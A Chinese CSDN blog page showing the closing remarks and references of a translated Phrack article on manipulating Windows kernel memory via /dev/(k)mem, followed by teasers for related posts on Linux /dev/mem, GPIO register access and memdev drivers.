    我希望本文能帮助你明白基本的Windows核心对象操作。据我所知,你可以完全跟linux's /dev/kmem
一样做任何事情,而且没有任何限制,简直超出了你的想象。 :)

    我也希望本文能让Linux的纨绔子弟去读读。 (Refdom: 嘿嘿)

    Thankx to CNS, u-n-f and subk dudes, ELiCZ for some help and finally
syn/ack oldschool people (wilmi power) =]


--[ 7 - References

[1] Sysinternals - www.sysinternals.com
[2] Microsoft DDK - www.microsoft.com/DDK/
[3] unofficial ntifs.h - www.insidewindows.info
[4] www.chapeaux-noirs.org/win/
[5] Intel IA-32 Software Developper manual - developer.intel.com
[6] Pedestal Software - www.pedestalsoftware.com
[7] BindView's RAZOR - razor.bindview.com
[8] Open Systems Resources - www.osr.com
[9] MSDN - msdn.microsoft.com

books:
  * Undocumented Windows 2000 Secrets, A Programmer's Cookbook
    (http://www.orgon.com/w2k_internals/)
  * Inside Microsoft Windows 2000, Third Edition
    (http://www.microsoft.com/mspress/books/4354.asp)
  * Windows NT/2000 Native API Reference

Trackback: http://tb.donews.net/TrackBack.aspx?PostId=146319

 

linux下的/dev/mem设备认识和使用

最近在为了读取一个寄存器的值动心思时,突然发现,一个好用的工具”r”,源码...
  • lsn946803746
  • lsn946803746
  • 2016年10月27日 17:42
  • 1837

/dev/mem可没那么简单

这几天研究了下/dev/mem,发现功能很神奇,通过mmap可以将物理地址映射到用户空间的虚拟地址上,在用户空间完成对设备寄存器的操作,于是上网搜了一些/dev/mem的资料。网上的说法也很统一,/d...
  • skyflying2012
  • skyflying2012
  • 2015年08月13日 14:05
  • 12973

通过/dev/mem只能访问high_memory高端内存以下的内核线性地址空间

本文转载至:http://blog.chinaunix.net/uid-20564848-id-74706.html
  • robertsong2004
  • robertsong2004
  • 2014年10月21日 20:42
  • 1487

使用/dev/mem内存映射的方式操作GPIO口

使用的是全志H3的芯片,运行Debian Desktop系统的ARM版本Armbian,要控制外部几个IO口,可以使用很多种方法,如果对GPIO的操作速度有要求就需要使用直接操作内存寄存器的方式来控制...
  • tq384998430
  • tq384998430
  • 2016年11月14日 17:16
  • 1322

/dev/mem可没那么简单

/dev/mem
  • Fybon
  • Fybon
  • 2017年01月18日 18:11
  • 369

查看Android设备Mem命令

adb shell cat /proc/meminfo
  • jlminghui
  • jlminghui
  • 2014年10月28日 13:33
  • 769

dev/mem的使用

使用 hexedit /dev/mem 可以显示所有物理内存中的信息。 运用mmap将/dev/mem map出来,然后直接对其读写可以实现用户空间的内核操作。 以下是我写的一个sample ...
  • wanglongwang201209
  • wanglongwang201209
  • 2013年10月10日 16:25
  • 923

Linux下使用/dev/mem控制GPIO模拟SPI时序控制LCD5110

关于如何使用/dev/mem直接控制GPIO口参见我的另一篇博客:http://blog.csdn.net/tq384998430/article/details/53161192。这篇文章将使用GP...
  • tq384998430
  • tq384998430
  • 2016年11月18日 11:18
  • 818

可行的memdev.c设备驱动程序

我是通过UBUNTU10.10测试该驱动程序的,系统内核为linux-2.6.35-22(可使用uname -r 命令来查看当前内核的版本号) 下载安装LINUX内核,需要下载和本机一样版本的内核源...
  • sonbai
  • sonbai
  • 2013年03月05日 14:39
  • 1726

Linux设备驱动之mmap设备操作(memdev.c字符设备驱动分析)

from:  http://blog.csdn.net/mirkerson/article/details/8232422 http://blog.chinaunix.net/uid-259061...
  • damotiansheng
  • damotiansheng
  • 2015年04月02日 16:26
  • 2084
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:玩转Windows /dev/(k)mem (p59-0x10)
举报原因:
原因补充:

(最多只允许输入30个字)